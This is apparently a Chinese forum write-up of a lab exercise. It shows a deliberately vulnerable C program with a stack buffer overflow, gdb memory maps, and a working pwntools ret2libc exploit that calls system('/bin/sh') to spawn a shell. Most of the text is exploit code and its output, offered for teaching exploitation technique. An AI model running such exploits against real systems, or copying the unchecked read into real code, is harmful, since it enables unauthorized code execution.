/*
* gcc -fno-stack-protector -m32 -o level1 stack.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Sn0rt@warzone:~/lab$ gdb level1
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x08049000 r-xp /home/Sn0rt/lab/level1
...
0xbffdf000 0xc0000000 rwxp [stack]
Sn0rt@warzone:~/lab$ gdb level2
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x08049000 r-xp /home/Sn0rt/lab/level2
...
0xbffdf000 0xc0000000 rw-p [stack]
Sn0rt@warzone:~/lab$ ./level2
gdb-peda$ vmmap
Start End Perm Name
...
0xb7e23000 0xb7fcb000 r-xp /lib/i386-linux-gnu/libc-2.19.so
0xb7fcb000 0xb7fcd000 r--p /lib/i386-linux-gnu/libc-2.19.so
0xb7fcd000 0xb7fce000 rw-p /lib/i386-linux-gnu/libc-2.19.so
...
int
system(const char *command)
{
pid_t pid;
sig_t intsave, quitsave;
sigset_t mask, omask;
int pstat;
char *argp[] = {"sh", "-c", NULL, NULL};
if (!command) /* just checking... */
return(1);
argp[2] = (char *)command;
sigemptyset(&mask);
sigaddset(&mask, SIGCHLD);
sigprocmask(SIG_BLOCK, &mask, &omask);
switch (pid = vfork()) {
case -1: /* error */
sigprocmask(SIG_SETMASK, &omask, NULL);
return(-1);
case 0: /* child */
sigprocmask(SIG_SETMASK, &omask, NULL);
execve(_PATH_BSHELL, argp, environ);
_exit(127);
}
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e63190 <__libc_system>
gdb-peda$ searchmem "/bin/sh" libc
Searching for '/bin/sh' in: libc ranges
Found 1 results, display max 1 items:
libc : 0xb7f83a24 ("/bin/sh")
140bytes填充 + system地址 + system返回过后的地址 + "/bin/sh"地址
[\CODE]
新的问题来了,system返回过后的地址是什么?我打算放的函数exit()地址,这个exit也是需要一个参数的.虽然这样解决也不是很好,但是起码不会segment fault.
[CODE]
#!/usr/bin/env python
from pwn import *
p = process('./level2')
ret = 0xb7e561e0
systemaddr = 0xb7e63190
binshaddr = 0xb7f83a24
payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
p.send(payload)
p.interactive()
Sn0rt@warzone:~/lab$ python exp_level2.py
[+] Starting program './level2': Done
[*] Switching to interactive mode
$ id
uid=1042(Sn0rt) gid=1043(Sn0rt) groups=1043(Sn0rt)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
